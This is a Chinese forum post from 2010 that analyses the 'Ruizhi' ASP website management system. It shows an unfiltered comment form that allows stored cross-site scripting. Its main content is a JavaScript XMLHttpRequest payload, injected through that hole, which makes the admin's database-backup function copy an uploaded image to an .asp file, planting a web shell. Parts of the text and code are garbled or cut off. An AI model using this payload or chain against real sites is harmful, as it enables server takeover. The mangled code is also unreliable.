以文本方式查看主題 - 曙海教育集團(tuán)論壇 (http://www.xinguifushi.cn/bbs/index.asp) -- SQL Server數(shù)據(jù)庫 (http://www.xinguifushi.cn/bbs/list.asp?boardid=67) ---- 利用or構(gòu)造SQL巧妙注射-分析睿智管理系統(tǒng)安全 (http://www.xinguifushi.cn/bbs/dispbbs.asp?boardid=67&id=2532) |
-- 作者:wangxinxin -- 發(fā)布時(shí)間:2010-12-13 13:47:46 -- 利用or構(gòu)造SQL巧妙注射-分析睿智管理系統(tǒng)安全 前言: ???? 最近上cnzz下載了一套網(wǎng)站管理系統(tǒng),在源碼首頁發(fā)現(xiàn)它,心想cnzz都推薦應(yīng)該安全性相當(dāng)不錯(cuò)了.官方下載最新版本本地搭建IIS測(cè)試發(fā)現(xiàn)簡(jiǎn)潔易用,整體上安全做得不錯(cuò).由于是免費(fèi)版的,可能官方有點(diǎn)放水.不過這里不影響我們的分析,這里討論兩個(gè)方面:跨站的利用,SQL注射.還是一句話:重在思路. 一.隱藏的數(shù)據(jù)庫 分析代碼經(jīng)常要用到數(shù)據(jù)庫(我分析的是Access版本的) ,習(xí)慣性的打開數(shù)據(jù)庫,驚奇的發(fā)現(xiàn)只有一個(gè)notdown表,如圖01: 可是再仔細(xì)查看代碼發(fā)現(xiàn)不應(yīng)該只有這張表的,于是就想是不是隱藏起來了?第一次看到這種情況,于是就查看了下Access幫助說明,在其中發(fā)現(xiàn)原來有還存在兩種屬性的數(shù)據(jù)表,即系統(tǒng)對(duì)象和隱藏對(duì)象.下面做一個(gè)小知識(shí)補(bǔ)充: 由于Access默認(rèn)是不顯示系統(tǒng)對(duì)象和隱藏對(duì)象的.所以如果一個(gè)表中存在隱藏對(duì)象或者系統(tǒng)對(duì)象那么就無法看到該表了. 簡(jiǎn)單說下隱藏方法,設(shè)計(jì)好表后右擊表選擇"屬性"->"隱藏"屬性打勾,刷新下就看不到了,這樣就是隱藏對(duì)象了,默認(rèn)是看不到的.至于系統(tǒng)對(duì)象,我們可以修改表的前綴為 usys,這樣就可以把表改成一個(gè)系統(tǒng)對(duì)象.這兩種方法都可以. 既然可以隱藏當(dāng)然也可以恢復(fù)顯示了, 按如下操作:“工具”菜單->“選項(xiàng)”命令->“視圖”選項(xiàng)卡->選中“顯示”一欄下的“系統(tǒng)對(duì)象”復(fù)選框或者"隱藏對(duì)象"復(fù)選框,并按下“確定”按鈕,就可以重新顯示所有表了.如圖02 Ok了,數(shù)據(jù)就可以和正常的一樣了. 二.跨站的深入利用雞肋 首先看看漏洞文件/include/PlS.asp,查看代碼發(fā)現(xiàn)是一個(gè)評(píng)論顯示,在多個(gè)文件被包含了,代碼如下: "" then ??????Dim Author,Content,mycode ????Author=Trim(Request.Form("Author"))// 簡(jiǎn)單的過濾空格 ????Content=Trim(Request.Form("Content")) //同上 ????mycode = trim(request.form("code")) ??????if Author="" or Content="" then ??????Call Alert ("請(qǐng)?zhí)顚懲暾偬峤?amp;quot;,"-1") ????end if ????if mycodeSession("getcode") then ?????? Call Alert ("您輸入驗(yàn)證碼錯(cuò)誤","-1") ????end if ??????set rs = server.CreateObject ("adodb.recordset") ????sql="select * from zhi_rui_E_Pl" ????rs.open sql,conn,1,3 ????rs.addnew ????rs("cli")=Request.Form("cli") ????rs("Ioid")=request.Form("Inid") ????rs("Author")=Author ????rs("Content")=Content ??------------------------省略部分代碼------------------------------- %> 顯然沒有任何過濾,直接寫入數(shù)據(jù)庫,跨站產(chǎn)生了.由于數(shù)據(jù)庫是mdb格式的,所有插馬也沒用.這里就想到了是否可以備份數(shù)據(jù)庫?進(jìn)入后臺(tái)看到數(shù)據(jù)庫備份,查看如圖03: 看到了沒,據(jù)庫路徑和備份文件名都不能修改,有些朋友可能就到這里停止,其實(shí)不然,還可以繼續(xù),經(jīng)驗(yàn)告訴我,他是將該輸入框?qū)懗蒱idden隱藏域了,查看文件/admin/Admin_Data.asp代碼如下: " size="40" />[/td] 看到這行type=hidden,猜測(cè)沒錯(cuò).那也就是說同樣可以備份任意文件了.所有后臺(tái)拿shell比較簡(jiǎn)單了.(插馬備份數(shù)據(jù)庫比較麻煩,要繞過// 判斷瀏覽器類型并定義創(chuàng)建xmlhttp會(huì)話 if (window.XMLHttpRequest) { ??xmlhttp = new XMLHttpRequest(); } else if (window.ActiveXObject) { ??try ??{ ????xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); ??} ??catch (e) ??{ ????try ????{ ??????xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); ????} ????catch (e) ????{ ????} ??} } function backup() { ??var postStr = "DBpath=upload/2009082150598817.jpg&bkfolder=../DataBase/bak/&bkDBname=l4nk0r.asp"; ??xmlhttp.open(" ![]() ??xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); ??xmlhttp.send(postStr); } Backup(); 然后在你要提交的地方提交 |